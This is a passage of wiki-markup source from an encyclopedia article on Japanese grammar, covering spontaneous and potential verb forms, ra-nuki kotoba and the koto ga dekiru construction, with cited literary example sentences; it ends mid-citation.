The rise of the particle ''ga'' as a marker of the patient of the action can be attributed to the {{#invoke:nihongo|nihongo|"spontaneous (or natural) passive (or potential)"|[[w:ja:自発 (文法)|自発]]|jihatsu}}, whereby the patient or the action simply comes about, seemingly in a vacuum, without a voluntary or intentional agent acting on it.{{sfnp|Yamaguchi|2001|p=163}} This may also relate to the verb {{#invoke:nihongo|nihongo||出来る|dekiru}} (see the phrase ''koto ga dekiru'' mentioned below) which means "come about; come into existence; materialize; form; take shape; be done/made/born/produced → be doable/feasible/possible",<ref name=kenkyusha>{{#invoke:cite|book|lang=ja,en|script-title=ja:新和英大辞典|publisher=Kenkyusha|title=New Japanese-English Dictionary|edition=5th|editor-last=Watanabe|editor-first=Toshirō|editor-last2=Skrzypczak|editor-first2=Edmund R.|editor-last3=Snowden|editor-first3=Paul|date=11 July 2003}}</ref> as in {{#invoke:nihongo|nihongo||米ができた|kome ga dekita|{{xlat|the rice was produced}}}}, {{#invoke:nihongo|nihongo||靴ができた|kutsu ga dekita|{{xlat|the shoes were made}}}}, {{#invoke:nihongo|nihongo||子供ができた|kodomo ga dekita|{{xlat|a child was born}}}}, etc.{{sfnp|Martin|2004|p=307}} Thus, such phrase as {{#invoke:nihongo|nihongo||小説が書けた|shōsetsu ga kaketa}}, spoken in the past tense by an author who does not want to mention themself as an agent, can be translated as "the novel wrote itself" (= the novel came about in written form), rather than "I was able to write the novel".{{sfnp|Rubin|2004|p=74}} Other examples without voluntary agents include {{#invoke:nihongo|nihongo||自然に笑えてきた|shizen ni waraete kita|{{xlat|I was seized by laughter}} {{=}} laughter spontaneously occurred to me}}, {{#invoke:nihongo|nihongo||本当のように思えてきた|hontō no yō ni omoete kita|{{xlat|it began to appear true}} {{=}} the thought of it being true occurred to me}},{{sfnp|Martin|2004|p=307}} {{#invoke:nihongo|nihongo||泣けてきちゃった|nakete kichatta|{{xlat|I couldn't help crying}} {{=}} crying unfortunately occurred to me}}, {{#invoke:nihongo|nihongo||釣れた|tsureta|{{xlat|I've got one}} {{=}} a fish's caught itself on my line}},{{sfnp|Rubin|2004|pp=73–74}} etc.
{| class="wikitable"
|+ style=text-align:left | Potential form example sentences
|-
! English
! Japanese
! Function
|-
| "I can still shoot a bow and arrow." She winked. "Skin a deer. Track a cougar." She leaned closer. "Use a bowie knife."
| {{#invoke:Nihongo|nihongo||「いまでも弓矢は'''射れる'''わよ」テスはウインクした。「鹿の皮も'''剥がせる'''し、クーガーの足跡も'''追える'''わ」彼女はマットのほうへ身をよせた。「ボウイナイフも'''使える'''しね」<ref>{{#invoke:cite|book|lang=ja|script-chapter=ja:淡い輝きにゆれて|trans-chapter=Shaking in a Faint Glitter|chapter=The Savage Heart|script-title=ja:花嫁の願いごと一つ|title=The Bride's Only Wish|authorlink=Diana Palmer (author)|last=Palmer|first=Diana|date=20 March 2025|publisher=HarperCollins Japan|translator-first=Jun|translator-last=Kōno|orig-date=20 October 2017|isbn=978-4-596-72507-3}}</ref>|"Ima de mo yumiya wa '''ireru''' wa yo" Tesu wa uinku shita. "Shika no kawa mo '''hagaseru''' shi, kūgā no ashiato mo '''oeru''' wa" kanojo wa Matto no hō e mi o yoseta. "Boui naifu mo '''tsukaeru''' shi ne"}}
| rowspan=4 | {{#invoke:nihongo|nihongo|capabilitative potentiality|能力可能|nōryoku kanō|an agent is (in)capable of doing something}}
|-
| Leticia Dartois can read minds.
| {{#invoke:Nihongo|nihongo||レティシア・ダルトワは心'''が読める'''。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:レティシア・ダルトワは心が読める。<br>その能力が特別なものだと自覚したのは、彼女がわずか五歳の時だった。|trans-quote=Leticia Dartois can read minds.<br>She was only five when she figured out how special her power was.|script-chapter=ja:第一章 魔女の結婚|trans-chapter=Chapter 1: A Witch's Marriage|script-title=ja:心が読める人質王女はコミュ下手な冷酷皇帝陛下の寵愛に気づかない|trans-title=The Mind-Reading Hostage Princess Has No Idea His Majesty the Cold and Inarticulate Emperor Loves Her|last=Akizakura|first=Hiroro|date=11 November 2022|publisher=Muchū Bunko}}</ref>|Retishia Darutowa wa kokoro '''ga yomeru'''.}}
|-
| Nobody can read my hand but my brother there—so he copies for me.
| {{#invoke:Nihongo|nihongo||私の字'''を読める'''のは、ここの私の弟だけで――私の清書をしてくれるのです。<ref name=yamamoto-1996/>|Watashi no ji '''o yomeru''' no wa, koko no watashi no otōto dake de――watashi no seisho o shite kureru no desu.}}
|-
| Still, English or no, Galen could not justify simply attacking the party and killing the woman.
| {{#invoke:Nihongo|nihongo||といえば、イングランド娘であろうがなかろうが、その一行に奇襲をかけ、マグレガーの花嫁となる娘を殺すことに正義があるとは、ゲイラン'''に'''は'''思えなかった'''。<ref name=sano-2018>{{#invoke:cite|book|lang=ja|script-quote=ja:といえば、イングランド娘であろうがなかろうが、その一行に奇襲をかけ、マグレガーの花嫁となる娘を殺すことに正義があるとは、ゲイランには思えなかった。彼の妻とお腹の赤ん坊を見舞った悲劇は、その娘とはなんの関係もない。彼自身の妻がそうだったのと同じくらい、イングランドの娘に罪はないのだ。<br>[…]<br>マグレガーの花嫁を略奪する。この計画は、ゲイランには完璧な解決方法に思えた。そうすれば、彼には新しい妻ができる。跡継ぎもすぐに生まれるだろう。マグレガー城へ向かう一行を奇襲し、花嫁を奪うだけで、復讐が果たせるのだ。<br>実際、その娘がイングランド人だということを除けば、これは実に申しぶんのない解決方法に思えた。しかし……相手の娘がいかに青白く、ひ弱いかをこの目で見たとたん、彼の自身はゆらいだ。そしてさきほどから、これは重大な誤りだったかもしれない、愚かな<ruby>真<rp>(</rp><rt>ま</rt><rp>)</rp></ruby><ruby>似<rp>(</rp><rt>ね</rt><rp>)</rp></ruby>をしたものだと自分を叱りつづけていたのだった。|quote=Still, English or no, Galen could not justify simply attacking the party and killing the woman. What had happened to his wife and child had nothing to do with her. She was as much an innocent as his own wife had been. […]<br>Stealing MacGregor's bride had seemed the perfect solution to Galen at the time. He would get a wife, heirs soon enough, and his revenge on MacGregor in one tidy little raid.<br>Aye, except for her being English it had seemed the perfect solution . . . right up until he had seen how puny and frail she appeared. Then he had begun to think he may have made a grave error.|script-chapter=ja:2|chapter=Chapter Two|script-title=ja:イングランドから来た花嫁|trans-title=The Bride from England|title=Sweet Revenge|authorlink=Lynsay Sands|first=Lynsay|last=Sands|date=15 February 2018|isbn=978-4-596-91746-1|publisher=HarperCollins Japan|translator-last=Sano|translator-first=Akira}}</ref>|To ieba, Ingurando musume de arō ga nakarō ga, sono ikkō ni kishū o kake, MaGuregā no hanayome to naru musume o korosu koto ni seigi ga aru to wa, Geiran '''ni''' wa '''omoenakatta'''.}}
|-
|-
| This novel is very readable.{{efn|This novel is very enjoyable to read.}}
| {{#invoke:Nihongo|nihongo||この小説はなかなか'''読める'''|Kono shōsetsu wa nakanaka '''yomeru'''}}
| rowspan=4 | {{#invoke:nihongo|nihongo|circumstantial potentiality|状況可能|jōkyō kanō|something can(not) happen because of external circumstance}}
|-
| His handwriting is messy and completely illegible.
| {{#invoke:Nihongo|nihongo||あの人は字'''が'''汚くてよく'''読めない'''|Ano hito wa ji '''ga''' kitanakute yoku '''yomenai'''}}
|-
| You can't read at a place this noisy.
| {{#invoke:Nihongo|nihongo||こんなやかましい処では、本などは'''読めない'''{{sfnp|Shibuya|2002|p=20}}|Konna yakamashii tokoro de wa, hon nado wa '''yomenai'''}}
|-
| "I wanna pick some edible stuff on the mountain. […]"<br>[…]<br>"Well, how 'bout we go pick edible plants together by the river?"<br>[…]<br>Oh crap, it'd be so weird if out of nowhere a one‑year‑old girl could tell if a plant is edible or not! […] While we were looking, I found a lot more edible plants than expected. Dandelions, watercress, dropwort, mugwort. […] I knew dandelions were edible in my previous life, but never thought of eating them for real.
| {{#invoke:Nihongo|nihongo||「やまで、'''たべられる'''ものをとりたいの。[…]」<br>[…]<br>「それじゃー、かわのちかくの'''たべれる'''草をいっしょに、とろー?」<br>[…]<br>そうよね、突然一歳の女の子が、この草、'''食べれる'''・'''食べれない'''とか言ったら怖いよね! […] 探してみると、案外'''食べられる'''野草は多かった。タンポポ、クレソン、セリ、ヨモギ。[…]タンポポって'''食べれる'''んだーと、前世の私は思っていたが、実際に食べようとは思わなかった。<ref>{{#invoke:cite|book|lang=ja|trans-quote="The mountain? Why do you wanna go there?"<br>"I wanna pick some edible stuff on the mountain. I wanna put it in my new basket."<br>I tried my best looking up and sounding cute. I mean, someone as sweet as Big Bro Maru would go with me even if I didn't pull that move. Or so I thought. To my surprise, he refused‼<br>"The mountain is dangerous. A child like you must never go alone. There are monsters there."<br>Is what he said. What are you talking about, monsters⁉ Are you mixing fantasy into this again? You must mean wild dogs or bears at worst, no? Monsters, he said……. But anyhow, maybe it is dangerous for a child to go alone where there might be bears and wild dogs. I thought of going just a tiny bit up the mountain, but then scrapped that. Besides, there's bound to be some edible plants if I look along the riverside. I'd actually wanted to pick some fruit, but I'd have to put that off for some time.<br>"Well, how 'bout we go pick edible plants together by the river?"<br>"Fine by me, but…… are there edible plants there? Do you know, Ryō?"<br>"……The other day when we were making straw sandals, Big Bro Jirō taught me."<br>Oh crap, it'd be so weird if out of nowhere a one-year-old girl could tell if a plant is edible or not! It'd be so suspicious! Darn it! I even said the name of that silent-type boy. Forgive me, Big Bro Jirō. Though Big Bro Maru questioned if Big Bro Jirō knew anything about plants, he still went ahead with me for the picking. I love you, my sweet Big Bro! While we were looking, I found a lot more edible plants than expected. Dandelions, watercress, dropwort, mugwort. The thing is, I only picked them based on a picture book I'd read in my previous life, and apart from watercress and mugwort, I never actually ate any of them. I knew dandelions were edible in my previous life, but never thought of eating them for real. There were a whole bunch of other delicious stuff to eat, after all.|script-quote=ja:「山? なんで山なんかにいきたいの?」<br>「やまで、たべられるものをとりたいの。あたらしいかごにいれたいの」<br>極力上目遣いで、かわいこぶって言ってみた。まあ、そんなことしなくても優しいマル兄ちゃんなら一緒に行ってくれるだろう。そう、思っていた。しかし、なんと断られた‼<br>「山はあぶないよ。子供だけで入っちゃだめなんだ。マモノがいるから」<br>という兄の言い分です。何、魔物って! またファンタジー混ぜてくるの? もう、どうせ野犬とか熊のことなんでしょ? 魔物とかいってさー。……でも、どちらにしろ、熊や野犬が出るようなところへ、子供だけで行くのは危険かも。山の入り口のほんの少しなら──という欲もあるが、<ruby>諦<rp>(</rp><rt>あきら</rt><rp>)</rp></ruby>めよう。それにこの川辺にだって探せば食べられる野草はあるはず。本当は木の実とか採りたかったんだけど、しばらくはそれで我慢しよう。<br>「それじゃー、かわのちかくのたべれる草をいっしょに、とろー?」<br>「いいけど……たべれる草なんか、あるの? リョウちゃんはわかるの?」<br>「……このまえ、草鞋作ってたときに、ジロウ兄ちゃんにおしえてもらったの」<br>そうよね、突然一歳の女の子が、この草、食べれる・食べれないとか言ったら怖いよね! あやしすぎるよね! しくったー。私はとっさにあの無口系少年の名前を使ってしまった。ゆるして、ジロウ兄ちゃん。マル兄ちゃんは、ジロウ兄ちゃんって草に詳しかったかなーみたいなことを言いながらも、一緒に野草の採取をしてくれた。優しいお兄ちゃん大好きよ! 探してみると、案外食べられる野草は多かった。タンポポ、クレソン、セリ、ヨモギ。前世で読んだ図鑑の情報をもとにして採取しただけなので、クレソンとヨモギ以外は、実は食べたことがない。タンポポって食べれるんだーと、前世の私は思っていたが、実際に食べようとは思わなかった。そりゃね、他においしいものいっぱいあったし。|script-chapter=ja:<small>第一章</small> 農村編 転生したら貧乏でした|trans-chapter=Chapter 1: Rural Arc: I Was Reincarnated as a Poor Person|script-title=ja:<ruby>転生少女の履歴書<rp>(</rp><rt>てんせいしょうじょのりれきしょ</rt><rp>)</rp></ruby>|trans-title=Résumé of Reincarnated Girl|first=Kazuki|last=Karasawa|volume=1|date=29 February 2016|publisher=SHUFUNOTOMO Co.|location=[[Chiyoda, Tokyo]]}}</ref>|"Yama de, '''taberareru''' mono o toritai no. […]"<br>[…]<br>"Sore jā, kawa no chikaku no '''tabereru''' kusa o issho ni, torō?"<br>[…]<br>Sō yo ne, totsuzen issai no onna no ko ga, kono kusa, '''tabereru taberenai''' to ka ittara kowai yo ne! […] Sagashite miru to, angai '''taberareru''' yasō wa ōkatta. Tanpopo, kureson, seri, yomogi. […] Tanpopo tte '''tabereru''' n dā to, zense no watashi wa omotte ita ga, jissai ni tabeyō to wa omowanakatta.}}
|-
| Before I knew it, it was already written.{{efn|It seemingly wrote itself.}}
| {{#invoke:Nihongo|nihongo||いつのまにか'''書けて'''しまった{{sfnp|Shibuya|2002|p=30}}|Itsu no ma ni ka '''kakete''' shimatta}}
| rowspan=4 | {{#invoke:nihongo|nihongo|spontaneity / natural potentiality|自発・自然可能|jihatsu / shizen kanō|something seemingly spontaneously comes about}}
|-
| Try as she might to hold back, tears just start to flow.{{efn|She's overcome by an act of crying.}}
| {{#invoke:Nihongo|nihongo||こらえても、自然に'''泣けて'''くる{{sfnp|Shibuya|2002|p=30}}|Koraete mo, shizen ni '''nakete''' kuru}}
|-
| The fish were biting like crazy.{{efn|The fish seemingly fished themselves.}}
| {{#invoke:Nihongo|nihongo||おもしろいほどよく'''釣れた'''<ref name=kenkyusha/>|Omoshiroi hodo yoku '''tsureta'''}}
|-
| Stealing MacGregor's bride had seemed the perfect solution to Galen at the time. […]<br>Aye, except for her being English it had seemed the perfect solution . . . right up until he had seen how puny and frail she appeared.{{efn|The thought occurred → it seemed.}}
| {{#invoke:Nihongo|nihongo||マグレガーの花嫁を略奪する。この計画は、ゲイラン'''に'''は完璧な解決方法に'''思えた'''。[…]<br>実際、その娘がイングランド人だということを除けば、これは実に申しぶんのない解決方法に'''思えた'''。<ref name=sano-2018/>|MaGuregā no hanayome o ryakudatsu suru. Kono keikaku wa, Geiran '''ni''' wa kanpeki na kaiketsu hōhō ni '''omoeta'''. […]<br>Jissai, sono musume ga Ingurando-jin da to yū koto o nozokeba, kore wa jitsu ni mōshibun no nai kaiketsu hōhō ni '''omoeta'''.}}
|}
=== Potential: Conjugation table ===
Potential verbs are unique to ''godan''‑based passive potential verbs,{{sfnp|Yamaguchi|2001|p=162}}<ref>{{#invoke:cite|web|lang=ja|script-title=ja:可能動詞|url=https://kotobank.jp/word/%E5%8F%AF%E8%83%BD%E5%8B%95%E8%A9%9E-465488|script-work=ja:コトバンク}}</ref> which have been said to have been shortened by removing ''ar'' from ''areru'': {{#invoke:nihongo|nihongo||読まれる|yom'''<s>ar</s>'''eru|{{gloss|be read; can read}}}} → {{#invoke:nihongo|nihongo||読める|yomeru|{{gloss|can read}}}}; {{#invoke:nihongo|nihongo||書かれる|kak'''<s>ar</s>'''eru|{{gloss|be written; can write}}}} → {{#invoke:nihongo|nihongo||書ける|kakeru|{{gloss|can write}}}}.<ref>{{#invoke:cite|book|lang=ja|url=https://dl.ndl.go.jp/pid/982965/1/176|page=330|last=Matsushita|first=Daizaburō|script-chapter=ja:可能的被動態|date=31 December 1924|script-title=ja:標準日本文法|publisher=Kigensha|location=[[Koishikawa]], Tokyo}}</ref> Other hypotheses of derivation include contractions from [[Japanese conjugation (ren'yōkei base)#Infinitive|infinitives]] followed by {{#invoke:nihongo|nihongo||得る|eru|{{gloss|get}}, see [[Japanese conjugation (ren'yōkei base)#Infinitive: Grammatical compatibility]]}}, presumably as in {{#invoke:nihongo|nihongo||書きえる|kakieru|{{gloss|can write}}}} → ''kakeru''; or conversions of ''nidan'' attributives into ''ichidan'' potentials, such as {{#invoke:nihongo|nihongo||切るる→切れる|kiruru → kireru}}, {{#invoke:nihongo|nihongo||知るる→知れる|shiruru → shireru}}.{{sfnp|Miyake|2016|p=2}} Short potential verbs of this type are conventional in Tokyo Japanese, while long verbs have become largely obsolescent, elevated or non‑Tokyo.{{sfnp|Martin|2004|pp=288, 300–301}}
The hypothetical short potential verb *{{#invoke:nihongo|nihongo||分かれる|wakareru|{{gloss|can make sense}}}} is not used. However, the non‑potential intransitive {{#invoke:nihongo|nihongo||分かれる|wakareru|{{gloss|branch off}}}},<ref name=kenkyusha/> the adversative [[#Passive|passive]] {{#invoke:nihongo|nihongo||分かられる|wakarareru|{{gloss|suffer because it makes sense}}}} and [[#Causative|causative]] {{#invoke:nihongo|nihongo||分からせる|wakaraseru|{{gloss|cause it to make sense}}}} are acceptable.{{sfnp|Martin|2004|pp=290–291, 305}}
Non‑''godan''‑based verbs such as {{#invoke:nihongo|nihongo||食べられる|taberareru|{{gloss|can eat; be eaten}}}} remain ambiguous. Such ambiguity can be resolved, at least colloquially, by a process dubbed {{#invoke:nihongo|nihongo||[[:ja:日本語の乱れ#ら抜き言葉|ら抜き言葉]]|ra‑nuki kotoba|{{lit|''ra''‑less word}}}},{{sfnp|Banno|Ikeda|Ohno|Shinagawa|2020b|pp=27-28|loc="Lesson 13, Grammar 1: Potential Verbs"}} thus distinguishing the short {{#invoke:nihongo|nihongo||食べ'''<s>ら</s>'''れる→食べれる|tabe'''<s>ra</s>'''reru → tabereru|{{gloss|can eat}}}} for the potential and the long {{#invoke:nihongo|nihongo||食べ'''ら'''れる|tabe'''ra'''reru|{{gloss|be eaten}}}} for the passive. This process was originally dialectal, but has been increasingly adopted by Tokyo speakers.<ref name=asakawa-2016>{{#invoke:cite|journal|lang=ja|url=https://tokyo-metro-u.repo.nii.ac.jp/?action=repository_uri&item_id=5200&file_id=18&file_no=1|last=Asakawa|first=Tetsuya|script-title=ja:ら抜き言葉と〈れれる言葉〉と可能動詞にみられる 自発・受身・尊敬の用法について —振れれるのもいやだし・いじめれれる子供・女性にことわれ続け—|script-journal=ja:言語の研究|number=2|date=July 2016}}</ref> Preference polls have shown that even among ''ra‑nuki kotoba'' users, the likelihood of usage significantly decreases as the mora count in the verb stem exceeds two; in other words, {{#invoke:nihongo|nihongo||見れる|'''mi'''.re.ru|one-mora stem}} and {{#invoke:nihongo|nihongo||食べれる|'''ta.be'''.re.ru|two-mora stem}} are highly likely, but {{#invoke:nihongo|nihongo||信じれる|'''shi.n.ji'''.re.ru|three-mora stem}}, {{#invoke:nihongo|nihongo||考えれる|'''ka.n.ga.e'''.re.ru|four-mora stem}}, {{#invoke:nihongo|nihongo||陥れれる|'''o.to.shi.i.re'''.re.ru|five-mora stem}} are much less likely.<ref>{{#invoke:cite|journal|lang=ja|url=https://tokyo-metro-u.repo.nii.ac.jp/record/9769/files/20028-008-002.pdf|last=Asakawa|first=Tetsuya|script-title=ja:ら抜き言葉と日本語教育|script-journal=ja:言語の研究|number=8|date=May 2021}}</ref>
Shortening passive verbs for potential uses is not universal among dialects, some of which may only use long verbs instead.{{sfnp|Martin|2004|pp=300–301}}
Apart from the dedicated potential verbs, the less ambiguous but more circumlocutory phrase {{#invoke:nihongo|nihongo||ことができる|koto ga dekiru}} can be used, as in {{#invoke:nihongo|nihongo||行くことができる|iku koto ga dekiru|{{gloss|can go}}}}, {{#invoke:nihongo|nihongo||止めることができる|yameru koto ga dekiru|{{gloss|can stop}}}}, etc. Depending on usage, a particle such as ''wa'', ''mo'' or ''no'' can be used instead of ''ga''.{{sfnp|Martin|2004|p=850}}<ref name=seta-tanaka-1992-b2-p2>{{#invoke:cite|book|lang=ja|script-quote=ja:「きさまは渡ることはできぬ。」と、かれはいいました。オークどもはじっと立ちつくし、死の静けさがあたりをみたしました。「わしは神秘の火に仕える者、アノールの焰の使い手じゃ。きさまは渡ることはできぬ。暗き火、ウドゥンの焰はきさまの助けとはならぬ。常つ闇に戻るがよい! きさまは渡れぬぞ。」<br>[…]<br>「きさまは通すことができぬ!」と、かれはいいました。|pages=29–30|quote='You cannot pass,' he said. The orcs stood still, and a dead silence fell. 'I am a servant of the Secret Fire, wielder of the flame of Anor. You cannot pass. The dark fire will not avail you, flame of Udûn. Go back to the Shadow! You cannot pass.'<br>[…]<br>'You cannot pass!' he said.|script-chapter=ja:五 カザド゠ドゥムの橋|chapter=V The Bridge of Khazad-dûm|script-title=ja:旅の仲間 下2|trans-title=[[The Fellowship of the Ring|The Travelling Fellowship]]: Book 2, Part 2|volume=4|edition=10th|series={{#invoke:lang|lang|ja|指輪物語}}|translator-last=Seta|translator-first=Teiji|translator-first2=Akiko|translator-last2=Tanaka|authorlink=J. R. R. Tolkien|first=John Ronald Reuel|last=Tolkien|publisher=Hyōronsha|date=10 May 2002|orig-date=30 July 1992|location=[[Shinjuku]], Tokyo|isbn=4-566-02365-6}}</ref> Some potential verbs, such as {{#invoke:nihongo|nihongo||飲める|nomeru|{{gloss|can drink; can be drunk; is drinkable}}}}, {{#invoke:nihongo|nihongo||喰える|kueru|{{gloss|can eat; can be eaten; is eatable}}}}, etc., have meanings similar to those of ''‑able'' adjectives in English, such as ''drinkable''/''potable'', ''eatable''/''edible'', etc., which describe the patient's quality to be enjoyed by the agent, not the agent's capability of enjoying the patient; these verbs are not completely interchangeable with ''koto ga dekiru''; compare {{#invoke:nihongo|nihongo||この酒はどうも'''飲めない'''。|Kono sake wa dō mo '''nomenai'''.|{{xlat|This liquor is so undrinkable. ({{=}}it tastes awful, or is not fit for drinking)}}}} and {{#invoke:nihongo|nihongo||この酒はどうも'''飲むことができない'''。|Kono sake wa dō mo '''nomu koto ga dekinai'''.|{{xlat|It seems I can't drink this liquor. ({{=}}I'm incapable of drinking, or I can't afford to drink)}}}}.{{sfnp|Kuno|1983|pp=149–156}}
Most contemporary ''‑suru'' verbs do not really have underlying potential verbs and must use ''suru koto ga dekiru'', which can be shortened to ''dekiru'' only for [[Japanese conjugation#The bases of suru|Group‑A verbs]]. Thus, {{#invoke:nihongo|nihongo||安く(することが)できる|yasuku (suru koto ga) dekiru|{{gloss|can make cheap}}}}, {{#invoke:nihongo|nihongo||勉強(することが)できる|benkyō (suru koto ga) dekiru|{{gloss|can study}}}}, {{#invoke:nihongo|nihongo||お願い(することが)できる|onegai (suru koto ga) dekiru|{{gloss|can request}}}}; but {{#invoke:nihongo|nihongo||熱することができる|nessuru koto ga dekiru|{{gloss|can heat}}}}, {{#invoke:nihongo|nihongo||供することができる|kyōsuru koto ga dekiru|{{gloss|can offer}}}}, etc cannot be reduced to *''neddekiru'', *''kyōdekiru'', etc, and must be used in full. Treating ''dekiru'' as a shortening of ''koto ga dekiru'' explains why ''dekiru'' can be used with the accusative particle ''o'' instead of the nominative ''ga'', as ''suru'' is perfectly compatible with ''o'': {{#invoke:nihongo|nihongo||ただでヨーロッパ'''を・が見物できる'''なんて、素晴らしいじゃない?|Tada de Yōroppa '''o/ga kenbutsu dekiru''' nante, subarashii ja nai?|{{xlat|Isn't it swell to '''be able to see''' Europe free?'}}}}.{{sfnp|Martin|2004|pp=302–303}} Historically, the passive potential ''sareru'',<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:どうも<ruby>素<rp>(</rp><rt>しろ</rt><rp>)</rp></ruby><ruby>人<rp>(</rp><rt>うと</rt><rp>)</rp></ruby>の面白い女に<ruby>撞着<rp>(</rp><rt>ぶつか</rt><rp>)</rp></ruby>つて見たい。今なら直ぐ女學生といふ所だが、其時分は<ruby>其<rp>(</rp><rt>そ</rt><rp>)</rp></ruby><ruby>樣<rp>(</rp><rt>ん</rt><rp>)</rp></ruby>な者に容易に接近されなかつたから、私は非常に煩悶してゐた。|trans-quote=I'd love to run into an interesting nonprofessional female and find out what she's like. Nowadays, I'd just go straight for schoolgirls, but back then, I couldn't easily approach anybody like that, which frustrated me no end.|page=182|script-chapter=ja:平凡|trans-chapter=The Mundane|script-title=ja:二葉亭四迷全集|trans-title=The Complete Works of Futabatei Shimei|volume=4|authorlink=Futabatei Shimei|first=Shimei|last=Futabatei|publisher=Iwanami Shoten|date=23 December 1964|location=[[Chiyoda, Tokyo]]}}</ref> ''serareru''<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「あ〻、これが、この重右衛門の<ruby>最<rp>(</rp><rt>さい</rt><rp>)</rp></ruby><ruby>後<rp>(</rp><rt>ご</rt><rp>)</rp></ruby>か」<br>と<ruby>再<rp>(</rp><rt>ふた〻</rt><rp>)</rp></ruby>び思つた自分の胸には、何故か形容せられぬ悲しい同情の淚が鎧に立つ矢の<ruby>蝟<rp>(</rp><rt>ゐ</rt><rp>)</rp></ruby><ruby>毛<rp>(</rp><rt>まう</rt><rp>)</rp></ruby>の如く<ruby>簇<rp>(</rp><rt>むら</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〱</rt><rp>)</rp></ruby>と烈しく<ruby>强<rp>(</rp><rt>つよ</rt><rp>)</rp></ruby>く<ruby>集<rp>(</rp><rt>あつま</rt><rp>)</rp></ruby>つて來た。|trans-quote="Aah, this, it's the end of Jūemon," again I thought.<br>For some reason, in my chest, tears of indescribably mournful compassion began to gather, strongly, fiercely, in droves, like a spiny coat of arrows stuck on armor.|page=278|url=https://dl.ndl.go.jp/pid/933474/1/143|script-chapter=ja:重右衞門の最後|trans-chapter=The End of Jūemon|script-title=ja:野の花|trans-title=Wild Flowers|authorlink=Katai Tayama|first=Katai|last=Tayama|publisher=Shunyodo|date=26 August 1916|series={{#invoke:lang|lang|ja|名家傑作集}}|volume=6|location=[[Nihonbashi]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|quote=Чем знакомее лица, тем труднее являются они, тем неяснее их впечатление; их помнишь, а не видишь… а своего собственного лица никак и не представишь… Малейшая отдельная черта известна, а целого образа не составляется.|script-quote=ja:<ruby>面<rp>(</rp><rt>かほ</rt><rp>)</rp></ruby><ruby>相<rp>(</rp><rt>だち</rt><rp>)</rp></ruby>を見識つてゐれば居るほど、浮び<ruby>難<rp>(</rp><rt>にく</rt><rp>)</rp></ruby>くて、<ruby>其<rp>(</rp><rt>その</rt><rp>)</rp></ruby><ruby>印象<rp>(</rp><rt>あとかた</rt><rp>)</rp></ruby>が<ruby>判然<rp>(</rp><rt>はつきり</rt><rp>)</rp></ruby>しない、憶出せても目に見えない……自分の顏などは<ruby>到<rp>(</rp><rt>と</rt><rp>)</rp></ruby><ruby>底<rp>(</rp><rt>て</rt><rp>)</rp></ruby>も想像せられないもので、<ruby>細<rp>(</rp><rt>こまか</rt><rp>)</rp></ruby>い局部は<ruby>明亮<rp>(</rp><rt>はつきり</rt><rp>)</rp></ruby>するが、全體が成立たない。|trans-quote=The more familiar the faces, the more difficult they are to picture, the less clear their impression; you cannot see them even if you can recall them…… It is impossible to visualize even your own face; the most minute feature is clear, but the whole image will not come together.|pages=284|script-chapter=ja:奇遇|trans-chapter=Encounters|chapter=Три встречи|script-title=ja:二葉亭四迷全集|trans-title=The Complete Works of Futabatei Shimei|volume=1|first=Ivan Sergeyevich|last=Turgenev|authorlink=Ivan Turgenev|translator-link=Futabatei Shimei|translator-first=Shimei|translator-last=Futabatei|publisher=Iwanami Shoten|date=26 September 1964|orig-year=1896|location=[[Chiyoda, Tokyo]]}}</ref><ref name=futabatei-1896-serareru>{{#invoke:cite|book|lang=ja|script-quote=ja:美術家になる……と自分では云つてゐるが、身を責めて<ruby>倦<rp>(</rp><rt>う</rt><rp>)</rp></ruby>まずに<ruby>勉<rp>(</rp><rt>つと</rt><rp>)</rp></ruby>めなければ、美術家にはなれぬものである。けれども勉めるといふことは<ruby>如<rp>(</rp><rt>ど</rt><rp>)</rp></ruby><ruby>何<rp>(</rp><rt>う</rt><rp>)</rp></ruby>であらうかと思つて、<ruby>密<rp>(</rp><rt>ひそか</rt><rp>)</rp></ruby>にガギンの<ruby>擧動<rp>(</rp><rt>やうす</rt><rp>)</rp></ruby>を<ruby>窺<rp>(</rp><rt>うかゞ</rt><rp>)</rp></ruby>へば、<ruby>面<rp>(</rp><rt>かほ</rt><rp>)</rp></ruby><ruby>相<rp>(</rp><rt>だち</rt><rp>)</rp></ruby>も優しく、<ruby>言<rp>(</rp><rt>もの</rt><rp>)</rp></ruby><ruby>語<rp>(</rp><rt>ごし</rt><rp>)</rp></ruby>も<ruby>優雅<rp>(</rp><rt>おほやう</rt><rp>)</rp></ruby>である。いや、此男には勉められない、奮發せられない、と<ruby>斷念<rp>(</rp><rt>あきらめ</rt><rp>)</rp></ruby>ました。けれども之を愛せずには<ruby>居<rp>(</rp><rt>ゐ</rt><rp>)</rp></ruby>られません。魂が<ruby>如<rp>(</rp><rt>ど</rt><rp>)</rp></ruby><ruby>何<rp>(</rp><rt>う</rt><rp>)</rp></ruby>も引寄せられるやうである。|trans-quote=Being an artist…… I thought to myself, being an artist is not without taking yourself to task and toiling tirelessly. But when I thought about what it would be like to toil, sneaking a look at Gagin's countenance, all I saw was his delicate features and magnanimous manner. No, this man could not toil, he could never exert himself, I thought with resignation. But I cannot help but love him. It was almost as though my soul was drawn to him.|quote=Быть художником… Без горького, постоянного труда не бывает художников… а трудиться, думал я, глядя на его мягкие черты, слушая его неспешную речь — нет! трудиться ты не будешь, сдаться ты не сумеешь. Но не полюбить его не было возможности: сердце так и влеклось к нему.|script-chapter=ja:片戀|chapter=Ася|trans-chapter=[[Asya (novella)|Unrequited Love]]|script-title=ja:二葉亭四迷全集|trans-title=The Complete Works of Futabatei Shimei|first=Ivan Sergeyevich|last=Turgenev|authorlink=Ivan Turgenev|translator-link=Futabatei Shimei|translator-last=Futabatei|translator-first=Shimei|volume=1|date=26 September 1964|location=[[Chiyoda, Tokyo]]|publisher=Iwanami Shoten|page=224}}</ref> and ''shirareru''<ref>{{#invoke:cite|book|lang=ja|quote=Чем знакомее лица, тем труднее являются они, тем неяснее их впечатление; их помнишь, а не видишь… а своего собственного лица никак и не представишь… Малейшая отдельная черта известна, а целого образа не 